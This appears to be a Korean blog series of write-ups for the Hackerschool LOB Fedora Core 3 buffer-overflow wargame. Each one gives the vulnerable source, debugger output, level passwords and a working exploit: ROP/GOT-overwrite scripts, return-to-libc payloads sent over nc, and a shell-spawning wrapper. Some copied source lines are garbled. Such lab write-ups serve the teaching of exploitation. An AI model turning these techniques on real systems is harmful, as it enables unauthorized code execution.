반응형
반응형
반응형


ID | evil_wizard

PW | get down like that


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.





1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/*
    The Lord of the BOF : The Fellowship of the BOF 
    - dark_stone
    - Remote BOF on Fedora Core 3 
    - hint : GOT overwriting again
    - port : TCP 8888
*/
 
#include <stdio.h>
 
// magic potion for you
void pop_pop_ret(void)
{
    asm("pop %eax");
    asm("pop %eax");
    asm("ret");
}
 
int main()
{
    char buffer[256];
    char saved_sfp[4];
    int length; 
    char temp[1024];
 
    printf("dark_stone : how fresh meat you are!\n");
    printf("you : ");
    fflush(stdout);
 
    // give me a food
    fgets(temp, 1024, stdin);
 
    // for disturbance RET sleding
    length = strlen(temp);
   
    // save sfp 
    memcpy(saved_sfp, buffer+2644);
 
    // overflow!!
    strcpy(buffer, temp);
 
    // restore sfp 
    memcpy(buffer+264, saved_sfp, 4);
 
    // disturbance RET sleding
    memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
 
    // buffer cleaning 
    memset(0xf6ffe00000xf7000000-0xf6ffe000);
 
    printf("%s\n", buffer);
}
 
cs


이번 문제는 nc [ip] 8888을 통해 ex를 하면 되네요.


이전 문제와 같은 방법으로 풀어보겠습니다.


0x08048620 <main+296>: lea    eax,[ebp-264]

0x08048626 <main+302>: push   eax

0x08048627 <main+303>: push   0x8048745

0x0804862c <main+308>: call   0x8048408 <_init+104>

0x08048631 <main+313>: add    esp,0x10

0x08048634 <main+316>: leave  

0x08048635 <main+317>: ret    

0x08048636 <main+318>: nop    

0x08048637 <main+319>: nop    

End of assembler dump.


printf plt 주소를 구합니다.


더미는 264 + 4 바이트만큼 주면 되겠네요.



0x080485a0 <main+168>: lea    eax,[ebp-1304]

0x080485a6 <main+174>: push   eax

0x080485a7 <main+175>: lea    eax,[ebp-264]

0x080485ad <main+181>: push   eax

0x080485ae <main+182>: call   0x8048438 <_init+152>


strcpy plt 주소를 구합니다.



(gdb) disas pop_pop_ret 

Dump of assembler code for function pop_pop_ret:

0x080484f0 <pop_pop_ret+0>: push   ebp

0x080484f1 <pop_pop_ret+1>: mov    ebp,esp

0x080484f3 <pop_pop_ret+3>: pop    eax

0x080484f4 <pop_pop_ret+4>: pop    eax

0x080484f5 <pop_pop_ret+5>: ret    

0x080484f6 <pop_pop_ret+6>: leave  

0x080484f7 <pop_pop_ret+7>: ret   


ppr 주소 0x080484f3



(gdb) x/i 0x8048408

0x8048408 <_init+104>: jmp    ds:0x804984c


printf got 0x804984c



(gdb) b main

Breakpoint 1 at 0x8048501

(gdb) r

Starting program: /home/evil_wizard/dark_stone 

(no debugging symbols found)...(no debugging symbols found)...

Breakpoint 1, 0x08048501 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x7507c0 <system>


system 주소 0x007507c0


이제 system 주소가 되어줄 조각들을 구해봅시다.



[evil_wizard@Fedora_1stFloor ~]$ objdump -s dark_stone | grep "c0" --color=auto

 8048148 03000000 0e000000 0c000000 05000000  ................

 80481b4 3c000000 68980408 04000000 11001700  <...h...........

 8048338 1069690d 00000200 8c000000 00000000  .ii.............

 8048348 2c980408 060c0000 68980408 05020000  ,.......h.......

 80483a0 5589e583 ec08e8c1 000000e8 14010000  U...............

 80483e8 ff254498 04086810 000000e9 c0ffffff  .%D...h.........


0x80483f4



[evil_wizard@Fedora_1stFloor ~]$ objdump -s dark_stone | grep "07" --color=auto

 8048178 03000000 07000000 08000000 06000000  ................


0x804817c



[evil_wizard@Fedora_1stFloor ~]$ objdump -s dark_stone | grep "75" --color=auto

 8048114 2f6c6962 2f6c642d 6c696e75 782e736f  /lib/ld-linux.so

 80482b4 75740066 67657473 006d656d 63707900  ut.fgets.memcpy.


0x80482b4



[evil_wizard@Fedora_1stFloor ~]$ objdump -s dark_stone | grep "00" --color=auto

 8048124 2e3200                               .2.             

 8048128 04000000 10000000 01000000 474e5500  ............GNU.

 8048138 00000000 02000000 02000000 05000000  ................


0x8048138




"/bin/sh\x00" 찾기


1
2
3
4
5
6
7
8
9
10
#include "stdio.h"
#include "string.h"
 
int main(void){
 
        long shell = 0x7507c0;  // <=== system()함수의 주소
        while(memcmp((void*)shell,"/bin/sh\x00",8)) shell++;
        printf("\"bin/sh\" is at 0x%lx\n", shell);
}
 
cs


[evil_wizard@Fedora_1stFloor ~]$ vi find_.c

[evil_wizard@Fedora_1stFloor ~]$ gcc -o find_ find_.c 

[evil_wizard@Fedora_1stFloor ~]$ ./find_ 

"bin/sh" is at 0x833603



이렇게 모두 구해서 이전 문제 익스에 사용한 코드를 재사용 하면.


익스가 안된다....



계획변경


바로 got를 덮지 않고, 먼저 bss영역에 덮은 뒤에 다시 그 값을 got를 덮도록 한다.



[evil_wizard@Fedora_1stFloor ~]$ readelf -S dark_stone

There are 28 section headers, starting at offset 0xa68:


Section Headers:

  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al

  [ 0]                   NULL            00000000 000000 000000 00      0   0  0

  [ 1] .interp           PROGBITS        08048114 000114 000013 00   A  0   0  1

  [ 2] .note.ABI-tag     NOTE            08048128 000128 000020 00   A  0   0  4

  [ 3] .hash             HASH            08048148 000148 00004c 04   A  4   0  4

  [ 4] .dynsym           DYNSYM          08048194 000194 0000e0 10   A  5   1  4

  [ 5] .dynstr           STRTAB          08048274 000274 000096 00   A  0   0  1

  [ 6] .gnu.version      VERSYM          0804830a 00030a 00001c 02   A  4   0  2

  [ 7] .gnu.version_r    VERNEED         08048328 000328 000020 00   A  5   1  4

  [ 8] .rel.dyn          REL             08048348 000348 000018 08   A  4   0  4

  [ 9] .rel.plt          REL             08048360 000360 000040 08   A  4  11  4

  [10] .init             PROGBITS        080483a0 0003a0 000017 00  AX  0   0  4

  [11] .plt              PROGBITS        080483b8 0003b8 000090 04  AX  0   0  4

  [12] .text             PROGBITS        08048448 000448 0002ac 00  AX  0   0  4

  [13] .fini             PROGBITS        080486f4 0006f4 00001a 00  AX  0   0  4

  [14] .rodata           PROGBITS        08048710 000710 000039 00   A  0   0  4

  [15] .eh_frame         PROGBITS        0804874c 00074c 000004 00   A  0   0  4

  [16] .ctors            PROGBITS        08049750 000750 000008 00  WA  0   0  4

  [17] .dtors            PROGBITS        08049758 000758 000008 00  WA  0   0  4

  [18] .jcr              PROGBITS        08049760 000760 000004 00  WA  0   0  4

  [19] .dynamic          DYNAMIC         08049764 000764 0000c8 08  WA  5   0  4

  [20] .got              PROGBITS        0804982c 00082c 000004 04  WA  0   0  4

  [21] .got.plt          PROGBITS        08049830 000830 00002c 04  WA  0   0  4

  [22] .data             PROGBITS        0804985c 00085c 00000c 00  WA  0   0  4

  [23] .bss              NOBITS          08049868 000868 00000c 00  WA  0   0  4

  [24] .comment          PROGBITS        00000000 000868 000126 00      0   0  1

  [25] .shstrtab         STRTAB          00000000 00098e 0000d7 00      0   0  1

  [26] .symtab           SYMTAB          00000000 000ec8 0004f0 10     27  44  4

  [27] .strtab           STRTAB          00000000 0013b8 0002d6 00      0   0  1



bss영역 0x08049868


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#fc3 got_overwrite
from pwn import *
 
= remote("192.168.0.0"8888)
 
printf_plt = 0x8048408
printf_got = 0x804984c
strcpy_plt = 0x8048438
ppr = 0x80484f3
 
bss = 0x8049868
 
binsh = 0x833603
 
payload = 'A' * 268
 
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(bss + 0)
payload += p32(0x80483f4)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(bss + 1)
payload += p32(0x804817c)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(bss + 2)
payload += p32(0x80482b4)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(bss + 3)
payload += p32(0x8048138)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got)
payload += p32(bss)
 
payload += p32(printf_plt)
payload += "AAAA"
payload += p32(binsh)
 
print(p.recvuntil("u :"))
print(payload)
p.sendline(payload)
 
p.interactive()
 
cs

mandu@mandu-VirtualBox:~/ex_pwn$ python fc3_hell.py 
[+] Opening connection to 192.168.0.10 on port 8888: Done
dark_stone : how fresh meat you are!
you :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8\x84\x0��h\x98\x0��8\x84\x0��i\x98\x0|\x81\x08\x84\x0��j\x98\x0\xb4\x82\x08\x84\x0��k\x98\x08\x81\x08\x84\x0��L\x98\x0h\x98\x\x84\x0AAAA\x036\x83\x00
[*] Switching to interactive mode
 $ my-pass
euid = 505
let there be light

예에~




반응형
반응형

해커스쿨 LOB FC3 [hell_fire -> evil_wizard] 풀이입니다.


ID | hell_fire

PW | sign me up


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.




/*

The Lord of the BOF : The Fellowship of the BOF 

- evil_wizard

- Local BOF on Fedora Core 3 

- hint : GOT overwriting

*/


// magic potion for you

void pop_pop_ret(void)

{

asm("pop %eax");

asm("pop %eax");

asm("ret");

}

 

int main(int argc, char *argv[])

{

char buffer[256];

char saved_sfp[4];

int length; 


if(argc < 2){

printf("argv error\n");

exit(0);

}


// for disturbance RET sleding

length = strlen(argv[1]);

   

        // healing potion for you

        setreuid(geteuid(), geteuid());

        setregid(getegid(), getegid());


// save sfp 

memcpy(saved_sfp, buffer+264, 4);

 

// overflow!!

strcpy(buffer, argv[1]);


// restore sfp 

memcpy(buffer+264, saved_sfp, 4);


        // disturbance RET sleding

        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));


printf("%s\n", buffer);

}


got overwriting 이네요.

strcpy함수를 이용해서 printf got에 system함수 주소를 덮어쓰고, printf plt를 호출해 쉘을 띄울 수 있도록 하면 됩니다.


필요한 것들:

리턴주소 위치(buffer와의 거리)
printf .plt
printf .got
strcpy 
system
ppr(pop pop ret)
binsh


0x08048674 <main+288>: call   0x8048474 <_init+168>
0x08048679 <main+293>: add    esp,0x10
0x0804867c <main+296>: sub    esp,0x8
0x0804867f <main+299>: lea    eax,[ebp-264]
0x08048685 <main+305>: push   eax
0x08048686 <main+306>: push   0x8048784
0x0804868b <main+311>: call   0x8048424 <_init+88>
0x08048690 <main+316>: add    esp,0x10
0x08048693 <main+319>: leave  
0x08048694 <main+320>: ret    
0x08048695 <main+321>: nop    
0x08048696 <main+322>: nop    
0x08048697 <main+323>: nop    
End of assembler dump.

main 함수 마지막에 printf("%s\n", buffer); 가 실행되므로 0x8048424가 printf plt주소임을 알 수 있으며, 
<main+299> lea eax,[ebp-264] 을 통해  buffer의 위치를 알 수 있다. 
buffer[256] + dummy[8] +sfp[4] + ret[4]



0x0804861d <main+201>: lea    eax,[ebp-264]
0x08048623 <main+207>: push   eax
0x08048624 <main+208>: call   0x8048494 <_init+200>

위 쪽에서 strcpy함수 주소도 구할 수 있다.




(gdb) x/i 0x8048424

0x8048424 <_init+88>: jmp    ds:0x8049884


printf .got = 0x8049884




(gdb) disas pop_pop_ret 

Dump of assembler code for function pop_pop_ret:

0x0804854c <pop_pop_ret+0>: push   ebp

0x0804854d <pop_pop_ret+1>: mov    ebp,esp

0x0804854f <pop_pop_ret+3>: pop    eax

0x08048550 <pop_pop_ret+4>: pop    eax

0x08048551 <pop_pop_ret+5>: ret    

0x08048552 <pop_pop_ret+6>: leave  

0x08048553 <pop_pop_ret+7>: ret    

End of assembler dump.


ppr = 0x804854f



(gdb) b* main
Breakpoint 1 at 0x8048554
(gdb) r
Starting program: /home/hell_fire/evil_wizard 
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x08048554 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x7507c0 <system>

system 함수 주소 0x007507c0

이 함수 주소가 되어줄 조각들의 주소를 구해주어야 한다.


[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard | grep "c0" --color=auto
 8048188 09000000 0a000000 0b000000 0c000000  ................
 80481e8 4c000000 00000000 27000000 12000000  L.......'.......
 80481f8 5c000000 00000000 ea000000 12000000  \...............
 8048208 6c000000 00000000 d9000000 12000000  l...............
 8048258 3c000000 00000000 51000000 12000000  <.......Q.......
 80483b4 98980408 07090000 9c980408 070c0000  ................
 80483cc 5589e583 ec08e8f1 000000e8 44010000  U...........D...
 8048414 ff258098 04086810 000000e9 c0ffffff  .%....h.........

c0 : 0x8048420



[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard | grep "07" --color=auto

 8048148 03000000 0f000000 0d000000 07000000  ................


07 : 0x8048154


[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard | grep "75" --color=auto
 8048114 2f6c6962 2f6c642d 6c696e75 782e736f  /lib/ld-linux.so
 80482c8 75696400 67657465 67696400 6d656d63  uid.getegid.memc

75 : 0x80482c8


[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard | grep "00" --color=auto
 8048124 2e3200                               .2.             
 8048128 04000000 10000000 01000000 474e5500  ............GNU.
 8048138 00000000 02000000 02000000 05000000  ................

00 : 0x8048138




"/bin/sh\x00" 문자열은 system함수 내부에 존재하므로, 코드를 돌려서 주소를 구해주면 된다.

find_binsh.c

1
2
3
4
5
6
7
8
9
#include "stdio.h"
#include "string.h"
 
int main(void){
 
        long shell = 0x7507c0;  // <=== system()함수의 주소
        while(memcmp((void*)shell,"/bin/sh\x00",8)) shell++;
        printf("\"bin/sh\" is at 0x%lx\n", shell);
}
cs


[hell_fire@Fedora_1stFloor ~]$ vi find_binsh.c

[hell_fire@Fedora_1stFloor ~]$ gcc -o find_binsh find_binsh.c 

[hell_fire@Fedora_1stFloor ~]$ ./find_binsh

"bin/sh" is at 0x833603


다 구해준 것 같다. 

이제 exploit 코드를 짜서 돌려주면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import os
import struct
 
p32 = lambda x: struct.pack("<I", x)
 
target = "/home/hell_fire/evil_wizard"
 
printf_plt = 0x8048424
printf_got = 0x8049884
strcpy_plt = 0x8048494
ppr = 0x804854f
 
binsh = 0x833603
 
payload = 'A' * 268
 
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got + 0)
payload += p32(0x8048420)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got + 1)
payload += p32(0x8048154)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got + 2)
payload += p32(0x80482c8)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got + 3)
payload += p32(0x8048138)
 
payload += p32(printf_plt)
payload += "AAAA"
payload += p32(binsh)
 
os.execv(target, (target, payload[:-1]))
 
cs


sh-3.00$ my-pass
euid = 504
get down like that
sh-3.00$ 


반응형
반응형

해커스쿨 LOB FC3 [dark_eyes -> hell_fire] 풀이


M4ndU




해커스쿨 LOB FC3 [dark_eyes -> hell_fire] 풀이입니다.


ID | dark_eyes

PW | because of you


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.




[dark_eyes@Fedora_1stFloor ~]$ cat hell_fire.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - hell_fire

        - Remote BOF on Fedora Core 3

        - hint : another fake ebp or got overwriting

        - port : TCP 7777

*/


#include <stdio.h>


int main()

{

        char buffer[256];

        char saved_sfp[4];

        char temp[1024];


        printf("hell_fire : What's this smell?\n");

        printf("you : ");

        fflush(stdout);


        // give me a food

        fgets(temp, 1024, stdin);


        // save sfp

        memcpy(saved_sfp, buffer+264, 4);


        // overflow!!

        strcpy(buffer, temp);


        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);


        printf("%s\n", buffer);

}


이번에는 입력받은 값을 temp[1024]에 받아서 buffer[256]에 덮어쓴다. 이 문제는 remote BOF 문제라서 전 문제 풀이 방법으로는 풀 수 없다.

system함수 안에 do_system에서 execve를 호출하는 부분을 ret값으로 주면 쉘이 따와진다고 한다.


(gdb) x/12i *do_system+1119
0x75077f <do_system+1119>:      call   0x743d30 <sigprocmask>
0x750784 <do_system+1124>:      mov    0xfffffec4(%ebx),%ecx
0x75078a <do_system+1130>:      xor    %edx,%edx
0x75078c <do_system+1132>:      xor    %eax,%eax
0x75078e <do_system+1134>:      mov    %edx,0x16bc(%ebx)
0x750794 <do_system+1140>:      lea    0xffff460f(%ebx),%edx
0x75079a <do_system+1146>:      mov    (%ecx),%edi
0x75079c <do_system+1148>:      mov    %eax,0x16b8(%ebx)
0x7507a2 <do_system+1154>:      mov    %esi,0x4(%esp)
0x7507a6 <do_system+1158>:      mov    %edi,0x8(%esp)
0x7507aa <do_system+1162>:      mov    %edx,(%esp)
0x7507ad <do_system+1165>:      call   0x7a5490 <execve>


do_system+1124 는 sigprocmask함수를 call하고 난 다음명령이다. 이 주소를 리턴값으로 준다.


(python -c 'print "A"*268+"\x84\x07\x75"';cat) | nc localhost 7777


[dark_eyes@Fedora_1stFloor ~]$ (python -c 'print "A"*268+"\x84\x07\x75\x00"';cat) | nc localhost 7777

hell_fire : What's this smell?

you :

my-pass

euid = 503

sign me up



참조 : http://sangu1ne.tistory.com/7?category=39356

반응형
반응형

해커스쿨 LOB FC3 [iron_golem -> dark_eyes] 풀이


M4ndU




해커스쿨 LOB FC3 [iron_golem -> dark_eyes] 풀이입니다.


ID | iron_golem

PW | blood on the fedora


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.




[iron_golem@Fedora_1stFloor ~]$ cat dark_eyes.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark_eyes

        - Local BOF on Fedora Core 3

        - hint : RET sleding

*/


int main(int argc, char *argv[])

{

        char buffer[256];

        char saved_sfp[4];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // save sfp

        memcpy(saved_sfp, buffer+264, 4);


        // overflow!!

        strcpy(buffer, argv[1]);


        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);


        printf("%s\n", buffer);

}


이번에는 sfp 변조가 막혀있어 fake EBP를 사용할 수 없다.

buffer+264 다음에 sfp인 것을 보니 buffer[256]과 dummy[8]이 있는 것 같다.

그렇지만 ret주소는 변조가 가능하고, 힌트에도 RET sleding을 사용하라고 되어 있다.

이번에도 execl함수를 사용할 것이고, 매개변수로 넘길 값을 찾아야 한다.

(gdb) b *main+3
Breakpoint 1 at 0x804840b
(gdb) r
Starting program: /home/iron_golem/dark_eyes
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x0804840b in main ()
(gdb) x/10wx $ebp
0xfeeb59a8:     0xfeeb5a08      0x00730e33      0x00000001      0xfeeb5a34
0xfeeb59b8:     0xfeeb5a3c      0x0070eab6      0x0083eff4      0x00000000
0xfeeb59c8:     0xfeeb59c0      0xfeeb5a08
(gdb) x/wx 0x0070eab6
0x70eab6 <fixup+150>:   0x83f0558b
(gdb) x/wx 0x0083eff4
0x83eff4 <svcauthsw+712>:       0x0083ed3c


$ebp+24인 0x0083eff4가 최하위바이트가 0x00인 0x0083ed3c을 가리키고 있다.

이 값을 파일명으로하는 쉘 프로그램을 작성하고

이 파일명를 execl함수의 매개변수로 넘겨주면 된다.
execl함수는 ebp+8에 있는 값을 매개변수로 받는다.
RET를 3번 호출하면 pop을 4번하고 execl 프롤로그에서 push ebp, mov ebp esp 해서 0x0083eff4 == ebp+8 이 될 수 있다. 

페이로드 구성이 이렇게 된다.
dummy[268](sfp도 덮어야함) + RET[4] + RET[4] + RET[4] + execl()[4]



(gdb) p execl

$1 = {<text variable, no debug info>} 0x7a5720 <execl>


execl함수의 주소는 0x7a5720이다.


쉘 프로그램을 작성하고 0x0083ed3c을 파일명으로 컴파일 한다.

[iron_golem@Fedora_1stFloor ~]$ vi sh.c
[iron_golem@Fedora_1stFloor ~]$ cat sh.c
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
        setreuid(geteuid(),geteuid());
        setregid(getegid(),getegid());
        system("/bin/sh");
}
[iron_golem@Fedora_1stFloor ~]$ gcc -o `python -c 'print "\x3c\xed\x83"'` sh.c


이제 RET주소를 가져오자

0x080484b9 <main+177>:  ret


exploit!
./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`



[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA뫈뭐?

Segmentation fault


...안된다...



(gdb) b *main+176

Breakpoint 1 at 0x80484b8

(gdb) r `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`

Starting program: /home/iron_golem/dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`

(no debugging symbols found)...(no debugging symbols found)...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(l萃뭐퉬


Breakpoint 1, 0x080484b8 in main ()

(gdb) x/10wx $ebp

0xfef56bc8:     0xfef56c28      0x080484b9      0x080484b9      0x080484b9

0xfef56bd8:     0xfef56c00      0x0070eab6      0x0083eff4      0x00000000

0xfef56be8:     0xfef56be0      0xfef56c28

(gdb) x/10wx $ebp-8

0xfef56bc0:     0x41414141      0x41414141      0xfef56c28      0x080484b9

0xfef56bd0:     0x080484b9      0x080484b9      0xfef56c00      0x0070eab6

0xfef56be0:     0x0083eff4      0x00000000


메모리를 확인해보니, RET까지 잘 들어갔는데 execl함수 주소가 들어가지 않았다. \x20이 문제인거 같다.


0x7a571e <execle+270>:  nop

0x7a571f <execle+271>:  nop

0x7a5720 <execl>:       push   ebp

0x7a5721 <execl+1>:     mov    ebp,esp


execl함수주소 윗부분이 nop으로 되어있기 때문에 \x20을 \x1f로 바꾸어도 상관이 없다.

다시 exploit!
./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x1f\x57\x7a"'`



[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x1f\x57\x7a"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8

澱뭐퉉z

sh-3.00$ my-pass

euid = 502

because of you



클리어!


반응형
반응형

해커스쿨 LOB FC3 [gate -> iron_golem] 풀이


M4ndU




해커스쿨 LOB FC3 [gate -> iron_golem] 풀이입니다.


ID | gate

PW | gate


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.





[gate@Fedora_1stFloor ~]$ cat iron_golem.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - iron_golem

        - Local BOF on Fedora Core 3

        - hint : fake ebp

*/


int main(int argc, char *argv[])

{

    char buffer[256];


    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }


    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}


256바이트 크기의 buffer에 값을 저장한다.

이 버퍼를 오버플로우해서 쉘을 따면 된다.


그런데 페도라 코어 3에는 메모리 보호기법들이 있다.


Stack Dummy : O

Down privileage of bash : O

Random Stack : O

Random Library : X

Random Program Binary Mapped : X

ASCII Armor : O

Non-Executable Stack : O

Non-Executable Heap : O

Stack Carany : X

Stack Smashing Protector : X


이 것들을 고려해서 문제를 풀어야 한다.



hint에 fake ebp를 사용하라고 되어 있다.


execl함수를 사용하면 된다.

sfp에 execl의 매개변수의 주소를 넣어주고, ret에 execl함수주소를 넣어주는 형태가 될 것이다.

매개변수는 got영역을 이용한다.



gdb로 버퍼 구조를 살펴보자


[gate@Fedora_1stFloor ~]$ gdb iron_golem -q

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x080483d0 <main+0>:    push   ebp

0x080483d1 <main+1>:    mov    ebp,esp

0x080483d3 <main+3>:    sub    esp,0x108

0x080483d9 <main+9>:    and    esp,0xfffffff0

0x080483dc <main+12>:   mov    eax,0x0

0x080483e1 <main+17>:   add    eax,0xf

0x080483e4 <main+20>:   add    eax,0xf

0x080483e7 <main+23>:   shr    eax,0x4

0x080483ea <main+26>:   shl    eax,0x4

0x080483ed <main+29>:   sub    esp,eax

0x080483ef <main+31>:   cmp    DWORD PTR [ebp+8],0x1

0x080483f3 <main+35>:   jg     0x804840f <main+63>

0x080483f5 <main+37>:   sub    esp,0xc

0x080483f8 <main+40>:   push   0x8048524

0x080483fd <main+45>:   call   0x80482f8 <_init+56>

0x08048402 <main+50>:   add    esp,0x10

0x08048405 <main+53>:   sub    esp,0xc

0x08048408 <main+56>:   push   0x0

0x0804840a <main+58>:   call   0x8048308 <_init+72>

0x0804840f <main+63>:   sub    esp,0x8

0x08048412 <main+66>:   mov    eax,DWORD PTR [ebp+12]

0x08048415 <main+69>:   add    eax,0x4

0x08048418 <main+72>:   push   DWORD PTR [eax]

0x0804841a <main+74>:   lea    eax,[ebp-264]

0x08048420 <main+80>:   push   eax

0x08048421 <main+81>:   call   0x8048318 <_init+88>

0x08048426 <main+86>:   add    esp,0x10

0x08048429 <main+89>:   sub    esp,0x8

0x0804842c <main+92>:   lea    eax,[ebp-264]

0x08048432 <main+98>:   push   eax

0x08048433 <main+99>:   push   0x8048530

0x08048438 <main+104>:  call   0x80482f8 <_init+56>

0x0804843d <main+109>:  add    esp,0x10

0x08048440 <main+112>:  leave

0x08048441 <main+113>:  ret

End of assembler dump.



*main+3에서 \x108만큼 스택을 할당해준다. 이는 264바이트인데 위에서 256바이트를 선언했으므로 8바이트크기의 더미가 있음을 알 수 있다. 



낮은 주소


buffer[256]

dummy[8]

SFP[4]

RET[4]


높은 주소


이런 구조로 있을 것이다.

페이로드에 264바이트의 더미를 넣어주어야 한다.



이제 got주소를 구해보자


[gate@Fedora_1stFloor ~]$ readelf -S iron_golem

There are 28 section headers, starting at offset 0x840:


Section Headers:

  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al

  [ 0]                   NULL            00000000 000000 000000 00      0   0  0

  [ 1] .interp           PROGBITS        08048114 000114 000013 00   A  0   0  1

  [ 2] .note.ABI-tag     NOTE            08048128 000128 000020 00   A  0   0  4

  [ 3] .hash             HASH            08048148 000148 000034 04   A  4   0  4

  [ 4] .dynsym           DYNSYM          0804817c 00017c 000080 10   A  5   1  4

  [ 5] .dynstr           STRTAB          080481fc 0001fc 00006c 00   A  0   0  1

  [ 6] .gnu.version      VERSYM          08048268 000268 000010 02   A  4   0  2

  [ 7] .gnu.version_r    VERNEED         08048278 000278 000020 00   A  5   1  4

  [ 8] .rel.dyn          REL             08048298 000298 000008 08   A  4   0  4

  [ 9] .rel.plt          REL             080482a0 0002a0 000020 08   A  4  11  4

  [10] .init             PROGBITS        080482c0 0002c0 000017 00  AX  0   0  4

  [11] .plt              PROGBITS        080482d8 0002d8 000050 04  AX  0   0  4

  [12] .text             PROGBITS        08048328 000328 0001d8 00  AX  0   0  4

  [13] .fini             PROGBITS        08048500 000500 00001a 00  AX  0   0  4

  [14] .rodata           PROGBITS        0804851c 00051c 000018 00   A  0   0  4

  [15] .eh_frame         PROGBITS        08048534 000534 000004 00   A  0   0  4

